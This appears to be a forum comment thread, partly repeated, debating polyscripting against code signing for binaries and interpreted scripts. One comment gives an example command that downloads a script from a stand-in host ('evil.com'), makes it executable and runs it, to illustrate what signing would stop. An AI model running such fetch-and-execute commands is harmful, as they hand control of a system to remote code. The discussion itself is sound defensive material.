4 ms·

Why go through all this trouble when you could just use code-signing? Only load and run source or executable files with a trusted certificate. For more robustne

Why go through all this trouble when you could just use code-signing? Only load and run source or executable files with a trusted certificate. For more robustness you generate a self-signed cert on the build server that no outside parties have access to. Dedicated interpreter/script pair is a cool idea, at least. The "impossible" also seems like an overstatement to me - it doesn't seem hard to reverse engineer the scramble that was applied, since there are frequently ways to get the ability to read the raw source of the file being executed (certainly against PHP), and if you can match it against a known source file (easy for open source libraries) you can use that 1:1 mapping to identify what scramble was used. Common code patterns show up all the time in source, and since the scramble preserves literals and structure it will be easy to identify the scrambled token based on the pattern. The sad thing is even if this ends up being a great defensive technique, deploying it in practice would be a real pain because you're not running known-good packages or installers anymore, you have to build your own dedicated runtime/interpreter from scratch to match the scramble on your application. To avoid high risk, you probably need to change the scramble regularly, which means building the interp again. And if you use a different scramble per application (for sandboxing, etc) then you aren't getting page sharing between the native modules. :(

stevekemp 8y ago
>Only load and run source or executable files with a trusted certificate This kind of solution works well with the exception of pretty much any scripting-language. For example I hacked up a cute linux security module to allow executions by the kernel to be validated via userspace: https://github.com/skx/linux-security-modules/tree/master/security/can-exec https://github.com/skx/linux-security-modules/tree/master/se... You could also use SELinux, AppArmor, and similar traditional approaches. Once you've picked a solution you could then go on to sign `/bin/ls`, `/bin/bash`, etc, and deny the execution of unsigned binaries such that this would fail: wget evil.com/root.sh chmod 755 root.sh ./root.sh (This example assumes that you'd even permit `wget` and `chmod` to run.) However the approach fails if you want to allow running perl, php, python-scripts, etc. You'd have to sign the interpreters so that they could run. But if you allow `python` to execute then there is no difference between: python /path/to/good.py and python /path/to/evil.py Since the executable in both cases is `python`, not the script. You'd have to hack the interpeters to do signature validation on your scripts - and if you did that you'd almost certainly need to update all the standard-libraries to allow those to be loaded. (It is possible you could work around this via policies, but off the top of my head ..)
- kevingadd 8y ago
  You'd codesign the scripts, yeah. I've done that before when using an interpreter. It's not trivial but all the major script runtimes that matter have relevant embedding hooks to let you do it.
  - stevekemp 8y ago
    Presumably you'd need to do more than sign/check the script running as the argument though? For example: #!/usr/bin/perl use module; print "OK\n"; The module could have been modified by a local user too - so you need to check all libraries that are included/opened too? That would seem to be a lot of work.
- imtringued 8y ago
  >You'd have to hack the interpeters to do signature validation on your scripts The proposed polyscripting mitigation already requires extensive changes to the interpreter. You have to generate a new grammar. Transform the current php, js, python, etc AST to the new grammar and then reimplement the interpreter to work on the generated grammar. Implementing code signing in the interpreter is far simpler. A single method "checkSignature" and corresponding calls to it every time a script file is opened.

stevekemp 8y ago

>Only load and run source or executable files with a trusted certificate This kind of solution works well with the exception of pretty much any scripting-language. For example I hacked up a cute linux security module to allow executions by the kernel to be validated via userspace: https://github.com/skx/linux-security-modules/tree/master/security/can-exec https://github.com/skx/linux-security-modules/tree/master/se... You could also use SELinux, AppArmor, and similar traditional approaches. Once you've picked a solution you could then go on to sign `/bin/ls`, `/bin/bash`, etc, and deny the execution of unsigned binaries such that this would fail: wget evil.com/root.sh chmod 755 root.sh ./root.sh (This example assumes that you'd even permit `wget` and `chmod` to run.) However the approach fails if you want to allow running perl, php, python-scripts, etc. You'd have to sign the interpreters so that they could run. But if you allow `python` to execute then there is no difference between: python /path/to/good.py and python /path/to/evil.py Since the executable in both cases is `python`, not the script. You'd have to hack the interpeters to do signature validation on your scripts - and if you did that you'd almost certainly need to update all the standard-libraries to allow those to be loaded. (It is possible you could work around this via policies, but off the top of my head ..)

kevingadd 8y ago
You'd codesign the scripts, yeah. I've done that before when using an interpreter. It's not trivial but all the major script runtimes that matter have relevant embedding hooks to let you do it.
- stevekemp 8y ago
  Presumably you'd need to do more than sign/check the script running as the argument though? For example: #!/usr/bin/perl use module; print "OK\n"; The module could have been modified by a local user too - so you need to check all libraries that are included/opened too? That would seem to be a lot of work.
imtringued 8y ago
>You'd have to hack the interpeters to do signature validation on your scripts The proposed polyscripting mitigation already requires extensive changes to the interpreter. You have to generate a new grammar. Transform the current php, js, python, etc AST to the new grammar and then reimplement the interpreter to work on the generated grammar. Implementing code signing in the interpreter is far simpler. A single method "checkSignature" and corresponding calls to it every time a script file is opened.